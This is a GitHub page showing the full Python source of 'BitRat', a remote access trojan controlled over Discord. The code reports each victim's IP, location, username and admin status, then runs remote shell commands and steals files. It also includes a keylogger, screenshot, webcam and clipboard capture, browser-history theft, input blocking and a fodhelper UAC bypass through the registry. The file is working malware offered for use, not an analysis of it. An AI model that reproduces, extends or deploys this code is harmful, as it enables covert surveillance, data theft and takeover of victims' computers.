Uh oh!
There was an error while loading. Please reload this page.
This repository was archived by the owner on Jul 18, 2026. It is now read-only.
- Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathBitRat.py
More file actions
Latest commit
562 lines (519 loc) · 24.1 KB
/
Copy pathBitRat.py
File metadata and controls
562 lines (519 loc) · 24.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
# -*- coding: utf-8 -*-
importwinreg
importctypes
importsys
importos
importrandom
importtime
importsubprocess
importdiscord
fromcomtypesimportCLSCTX_ALL
frompycaw.pycawimportAudioUtilities, IAudioEndpointVolume
fromdiscord.extimportcommands
fromctypesimport*
importasyncio
fromdiscordimportutils
token=''#Paste your Bot Token here
globalappdata
appdata=os.getenv('APPDATA')
client=discord.Client()
bot=commands.Bot(command_prefix='!')
helpmenu="""
Availaible commands are :
--> !message = Show a message box displaying your text / Syntax = "!message example"
--> !shell = Execute a shell command /Syntax = "!shell whoami"
--> !webcampic = Take a picture from the webcam
--> !windowstart = Start logging current user window (logging is shown in the bot activity)
--> !windowstop = Stop logging current user window
--> !voice = Make a voice say outloud a custom sentence / Syntax = "!voice test"
--> !admincheck = Check if program has admin privileges
--> !sysinfo = Gives info about infected computer
--> !history = Get computer navigation history
--> !download = Download a file from infected computer
--> !upload = Upload file from website to computer / Syntax = "!upload file.png" (with attachment)
--> !cd = Changes directory
--> !write = Type your desired sentence on infected computer
--> !wallpaper = Change infected computer wallpaper / Syntax = "!wallpaper" (with attachment)
--> !clipboard = Retrieve infected computer clipboard content
--> !geolocate = Geolocate computer using latitude and longitude of the ip address with google map / Warning : Geolocating IP addresses is not very precise
--> !startkeylogger = Starts a keylogger / Warning : Likely to trigger AV
--> !stopkeylogger = Stops keylogger
--> !dumpkeylogger = Dumps the keylog
--> !volumemax = Put volume at 100%
--> !volumezero = Put volume at 0%
--> !idletime = Get the idle time of user
--> !sing = Play chosen video in background (Only works with youtube links)
--> !stopsing = Stop video playing in background
--> !blockinput = Blocks user's keyboard and mouse / Warning : Admin rights are required
--> !unblockinput = Unblocks user's keyboard and mouse / Warning : Admin rights are required
--> !screenshot = Get the screenshot of the user's current screen
--> !exit = Exit program
--> !kill = Kill a session or all sessions except current one / Syntax = "!kill session-3" or "!kill all"
"""
asyncdefactivity(client):
importtime
importwin32gui
whileTrue:
globalstop_threads
ifstop_threads:
break
window=win32gui.GetWindowText(win32gui.GetForegroundWindow())
game=discord.Game(f"Visiting: {window}")
awaitclient.change_presence(status=discord.Status.online, activity=game)
time.sleep(1)
defbetween_callback(client):
loop=asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_until_complete(activity(client))
loop.close()
@client.event
asyncdefon_ready():
importplatform
importre
importurllib.request
importjson
withurllib.request.urlopen("https://geolocation-db.com/json") asurl:
data=json.loads(url.read().decode())
flag=data['country_code']
ip=data['IPv4']
importos
on_ready.total= []
globalnumber
number=0
globalchannel_name
channel_name=None
forxinclient.get_all_channels(): # From here we look through all the channels,check for the biggest number and then add one to it
(on_ready.total).append(x.name)
foryinrange(len(on_ready.total)):
if"session"inon_ready.total[y]:
importre
result= [eforeinre.split("[^0-9]", on_ready.total[y]) ife!='']
biggest=max(map(int, result))
number=biggest+1
else:
pass
ifnumber==0:
channel_name="session-1"
newchannel=awaitclient.guilds[0].create_text_channel(channel_name)
else:
channel_name=f"session-{number}"
newchannel=awaitclient.guilds[0].create_text_channel(channel_name)
channel_=discord.utils.get(client.get_all_channels(), name=channel_name)
channel=client.get_channel(channel_.id)
is_admin=ctypes.windll.shell32.IsUserAnAdmin() !=0
value1=f"@here :white_check_mark: New session opened {channel_name} | {platform.system()}{platform.release()} | {ip} :flag_{flag.lower()}: | User : {os.getlogin()}"
ifis_admin==True:
awaitchannel.send(f'{value1} | :gem:')
elifis_admin==False:
awaitchannel.send(value1)
game=discord.Game(f"Window logging stopped")
awaitclient.change_presence(status=discord.Status.online, activity=game)
defvolumeup():
devices=AudioUtilities.GetSpeakers()
interface=devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume=cast(interface, POINTER(IAudioEndpointVolume))
ifvolume.GetMute() ==1:
volume.SetMute(0, None)
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[1], None)
defvolumedown():
devices=AudioUtilities.GetSpeakers()
interface=devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume=cast(interface, POINTER(IAudioEndpointVolume))
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[0], None)
@client.event
asyncdefon_message(message):
ifmessage.channel.name!=channel_name:
pass
else:
ifmessage.content.startswith("!kill"):
ifmessage.content[6:] =="all":
foryinrange(len(on_ready.total)):
if"session"inon_ready.total[y]:
channel_to_delete=discord.utils.get(client.get_all_channels(), name=on_ready.total[y])
awaitchannel_to_delete.delete()
else:
pass
else:
try:
channel_to_delete=discord.utils.get(client.get_all_channels(), name=message.content[6:])
awaitchannel_to_delete.delete()
awaitmessage.channel.send(f"[*] {message.content[6:]} killed.")
except:
awaitmessage.channel.send(f"[!] {message.content[6:]} is invalid,please enter a valid session name")
ifmessage.content=="!dumpkeylogger":
importos
temp=os.getenv("TEMP")
file_keys=os.path.join(os.getenv('TEMP') +"\\key_log.txt")
file=discord.File(file_keys, filename=file_keys)
awaitmessage.channel.send("[*] Command successfully executed", file=file)
os.remove(os.path.join(os.getenv('TEMP') +"\\key_log.txt"))
ifmessage.content=="!exit":
exit()
ifmessage.content=="!windowstart":
importthreading
globalstop_threads
stop_threads=False
global_thread
_thread=threading.Thread(target=between_callback, args=(client,))
_thread.start()
awaitmessage.channel.send("[*] Window logging for this session started")
ifmessage.content=="!windowstop":
stop_threads=True
awaitmessage.channel.send("[*] Window logging for this session stopped")
game=discord.Game(f"Window logging stopped")
awaitclient.change_presence(status=discord.Status.online, activity=game)
ifmessage.content=="!screenshot":
importos
frommssimportmss
withmss() assct:
sct.shot(output=os.path.join(os.getenv('TEMP') +"\\monitor.png"))
file=discord.File(os.path.join(os.getenv('TEMP') +"\\monitor.png"), filename="monitor.png")
awaitmessage.channel.send("[*] Command successfully executed", file=file)
os.remove(os.path.join(os.getenv('TEMP') +"\\monitor.png"))
ifmessage.content=="!volumemax":
volumeup()
awaitmessage.channel.send("[*] Volume put to 100%")
ifmessage.content=="!volumezero":
volumedown()
awaitmessage.channel.send("[*] Volume put to 0%")
ifmessage.content=="!webcampic": #Downloads a file over internet which is not great but avoids using opencv/numpy which helps reducing final exe file if compiled
importos
importurllib.request
fromzipfileimportZipFile
directory=os.getcwd()
try:
os.chdir(os.getenv('TEMP'))
urllib.request.urlretrieve("https://www.nirsoft.net/utils/webcamimagesave.zip", "temp.zip")
withZipFile("temp.zip") aszipObj:
zipObj.extractall()
os.system("WebCamImageSave.exe /capture /FileName temp.png")
file=discord.File("temp.png", filename="temp.png")
awaitmessage.channel.send("[*] Command successfully executed", file=file)
os.remove("temp.zip")
os.remove("temp.png")
os.remove("WebCamImageSave.exe")
os.remove("readme.txt")
os.remove("WebCamImageSave.chm")
os.chdir(directory)
except:
awaitmessage.channel.send("[!] Command failed")
ifmessage.content.startswith("!message"):
importctypes
importtime
MB_YESNO=0x04
MB_HELP=0x4000
ICON_STOP=0x10
defmess():
ctypes.windll.user32.MessageBoxW(0, message.content[8:], "Error", MB_HELP|MB_YESNO|ICON_STOP) #Show message box
importthreading
messa=threading.Thread(target=mess)
messa._running=True
messa.daemon=True
messa.start()
importwin32con
importwin32gui
importtime
time.sleep(1)
hwnd=win32gui.FindWindow(None, "Error")
win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) #Put message to foreground
win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE+win32con.SWP_NOSIZE)
win32gui.SetWindowPos(hwnd,win32con.HWND_TOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE+win32con.SWP_NOSIZE)
win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_SHOWWINDOW+win32con.SWP_NOMOVE+win32con.SWP_NOSIZE)
ifmessage.content.startswith("!wallpaper"):
importctypes
importos
path=os.path.join(os.getenv('TEMP') +"\\temp.jpg")
awaitmessage.attachments[0].save(path)
ctypes.windll.user32.SystemParametersInfoW(20, 0, path , 0)
awaitmessage.channel.send("[*] Command successfully executed")
ifmessage.content.startswith("!upload"):
awaitmessage.attachments[0].save(message.content[8:])
awaitmessage.channel.send("[*] Command successfully executed")
ifmessage.content.startswith("!shell"):
globalstatus
importtime
status=None
importsubprocess
importos
instruction=message.content[7:]
defshell():
output=subprocess.run(instruction, stdout=subprocess.PIPE,shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
globalstatus
status="ok"
returnoutput
importthreading
shel=threading.Thread(target=shell) #Use of threading and a global variable to avoid hanging if command is too long to produce an output (probably a better way to do this)
shel._running=True
shel.start()
time.sleep(1)
shel._running=False
ifstatus:
result=str(shell().stdout.decode('CP437')) #CP437 Decoding used for characters like " é " etc..
print(result)
numb=len(result)
print(numb)
ifnumb<1:
awaitmessage.channel.send("[*] Command not recognized or no output was obtained")
elifnumb>1990:
f1=open("output.txt", 'a')
f1.write(result)
f1.close()
file=discord.File("output.txt", filename="output.txt")
awaitmessage.channel.send("[*] Command successfully executed", file=file)
os.popen("del output.txt")
else:
awaitmessage.channel.send("[*] Command successfully executed : "+result)
else:
awaitmessage.channel.send("[*] Command not recognized or no output was obtained")
status=None
ifmessage.content.startswith("!download"):
file=discord.File(message.content[10:], filename=message.content[10:])
awaitmessage.channel.send("[*] Command successfully executed", file=file)
ifmessage.content.startswith("!cd"):
importos
os.chdir(message.content[4:])
awaitmessage.channel.send("[*] Command successfully executed")
ifmessage.content=="!help":
awaitmessage.channel.send(helpmenu)
ifmessage.content.startswith("!write"):
importpyautogui
ifmessage.content[7:] =="enter":
pyautogui.press("enter")
else:
pyautogui.typewrite(message.content[7:])
ifmessage.content=="!history":
importos
importbrowserhistoryasbh
dict_obj=bh.get_browserhistory()
strobj=str(dict_obj).encode(errors='ignore')
withopen("history.txt","a") ashist:
hist.write(str(strobj))
file=discord.File("history.txt", filename="history.txt")
awaitmessage.channel.send("[*] Command successfully executed", file=file)
os.remove("history.txt")
ifmessage.content=="!clipboard":
importctypes
importos
CF_TEXT=1
kernel32=ctypes.windll.kernel32
kernel32.GlobalLock.argtypes= [ctypes.c_void_p]
kernel32.GlobalLock.restype=ctypes.c_void_p
kernel32.GlobalUnlock.argtypes= [ctypes.c_void_p]
user32=ctypes.windll.user32
user32.GetClipboardData.restype=ctypes.c_void_p
user32.OpenClipboard(0)
ifuser32.IsClipboardFormatAvailable(CF_TEXT):
data=user32.GetClipboardData(CF_TEXT)
data_locked=kernel32.GlobalLock(data)
text=ctypes.c_char_p(data_locked)
value=text.value
kernel32.GlobalUnlock(data_locked)
body=value.decode()
user32.CloseClipboard()
awaitmessage.channel.send(f"[*] Clipboard content is : {body}")
ifmessage.content.startswith("!stopsing"):
importos
os.system(f"taskkill /F /IM {pid_process[1]}")
ifmessage.content=="!sysinfo":
importplatform
info=platform.uname()
info_total=f'{info.system}{info.release}{info.machine}'
fromrequestsimportget
ip=get('https://api.ipify.org').text
awaitmessage.channel.send(f"[*] Command successfully executed : {info_total}{ip}")
ifmessage.content=="!geolocate":
importurllib.request
importjson
withurllib.request.urlopen("https://geolocation-db.com/json") asurl:
data=json.loads(url.read().decode())
link=f"http://www.google.com/maps/place/{data['latitude']},{data['longitude']}"
awaitmessage.channel.send("[*] Command successfully executed : "+link)
ifmessage.content=="!admincheck":
importctypes
is_admin=ctypes.windll.shell32.IsUserAnAdmin() !=0
ifis_admin==True:
awaitmessage.channel.send("[*] Congrats you're admin")
elifis_admin==False:
awaitmessage.channel.send("[!] Sorry, you're not admin")
ifmessage.content=="!uacbypass":
importos
importwin32net
if'logonserver'inos.environ:
server=os.environ['logonserver'][2:]
else:
server=None
defif_user_is_admin(Server):
groups=win32net.NetUserGetLocalGroups(Server, os.getlogin())
isadmin=False
forgroupingroups:
ifgroup.lower().startswith('admin'):
isadmin=True
returnisadmin, groups
is_admin, groups=if_user_is_admin(server)
ifis_admin==True:
print('User in admin group trying to bypass uac')
importos
importsys
importctypes
importwinreg
CMD="C:\\Windows\\System32\\cmd.exe"
FOD_HELPER='C:\\Windows\\System32\\fodhelper.exe'
COMM="start"
REG_PATH='Software\\Classes\\ms-settings\\shell\\open\\command'
DELEGATE_EXEC_REG_KEY='DelegateExecute'
defis_running_as_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
'''
try:
returnctypes.windll.shell32.IsUserAnAdmin()
except:
returnFalse
defcreate_reg_key(key, value):
'''
Creates a reg key
'''
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key=winreg.OpenKey(
winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0,
winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
exceptWindowsError:
raise
defbypass_uac(cmd):
'''
Tries to bypass the UAC
'''
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
exceptWindowsError:
raise
defexecute():
ifnotis_running_as_admin():
print(
'[!] The script is NOT running with administrative privileges')
print('[+] Trying to bypass the UAC')
try:
current_dir=os.path.dirname(
os.path.realpath(__file__)) +'\\'+sys.argv[0]
cmd='{} /k {} {}'.format(CMD, COMM, current_dir)
print(cmd)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
exceptWindowsError:
sys.exit(1)
else:
print(
'[+] The script is running with administrative privileges!')
if__name__=='__main__':
execute()
else:
print("failed")
awaitmessage.channel.send("[*] Command failed : User not in administrator group")
ifmessage.content.startswith("!sing"): # This is awfully complicated for such a dumb command I don't know why I wasted time doing this.
volumeup()
fromwin32importwin32gui
importwin32con
importwin32gui
fromwin32conimportSW_HIDE
importwin32process
importos
link=message.content[6:]
iflink.startswith("http"):
link=link[link.find('www'):]
os.system(f'start {link}')
whileTrue:
defget_all_hwnd(hwnd,mouse):
defwinEnumHandler(hwnd, ctx):
ifwin32gui.IsWindowVisible(hwnd):
if"youtube"in (win32gui.GetWindowText(hwnd).lower()):
win32gui.ShowWindow(hwnd, SW_HIDE)
globalpid_process
pid_process=win32process.GetWindowThreadProcessId(hwnd)
return"ok"
else:
pass
ifwin32gui.IsWindow(hwnd) andwin32gui.IsWindowEnabled(hwnd) andwin32gui.IsWindowVisible(hwnd):
win32gui.EnumWindows(winEnumHandler,None)
try:
win32gui.EnumWindows(get_all_hwnd, 0)
except:
break
ifmessage.content=="!startkeylogger":
importbase64
importos
frompynput.keyboardimportKey, Listener
importlogging
temp=os.getenv("TEMP")
logging.basicConfig(filename=os.path.join(os.getenv('TEMP') +"\\key_log.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s')
defkeylog():
defon_press(key):
logging.info(str(key))
withListener(on_press=on_press) aslistener:
listener.join()
importthreading
globaltest
test=threading.Thread(target=keylog)
test._running=True
test.daemon=True
test.start()
awaitmessage.channel.send("[*] Keylogger successfully started")
ifmessage.content=="!stopkeylogger":
importos
test._running=False
awaitmessage.channel.send("[*] Keylogger successfully stopped")
ifmessage.content=="!idletime":
classLASTINPUTINFO(Structure):
_fields_= [
('cbSize', c_uint),
('dwTime', c_int),
]
defget_idle_duration():
lastInputInfo=LASTINPUTINFO()
lastInputInfo.cbSize=sizeof(lastInputInfo)
ifwindll.user32.GetLastInputInfo(byref(lastInputInfo)):
millis=windll.kernel32.GetTickCount() -lastInputInfo.dwTime
returnmillis/1000.0
else:
return0
importthreading
globalidle1
idle1=threading.Thread(target=get_idle_duration)
idle1._running=True
idle1.daemon=True
idle1.start()
duration=get_idle_duration()
awaitmessage.channel.send('User idle for %.2f seconds.'%duration)
importtime
time.sleep(1)
ifmessage.content.startswith("!voice"):
volumeup()
importcomtypes
importwin32com.clientaswincl
speak=wincl.Dispatch("SAPI.SpVoice")
speak.Speak(message.content[7:])
comtypes.CoUninitialize()
awaitmessage.channel.send("[*] Command successfully executed")
ifmessage.content.startswith("!blockinput"):
importctypes
is_admin=ctypes.windll.shell32.IsUserAnAdmin() !=0
ifis_admin==True:
ok=windll.user32.BlockInput(True)
awaitmessage.channel.send("[*] Command successfully executed")
else:
awaitmessage.channel.send("[!] Admin rights are required for this operation")
ifmessage.content.startswith("!unblockinput"):
importctypes
is_admin=ctypes.windll.shell32.IsUserAnAdmin() !=0
ifis_admin==True:
ok=windll.user32.BlockInput(False)
awaitmessage.channel.send("[*] Command successfully executed")
else:
awaitmessage.channel.send("[!] Admin rights are required for this operation")
client.run(token)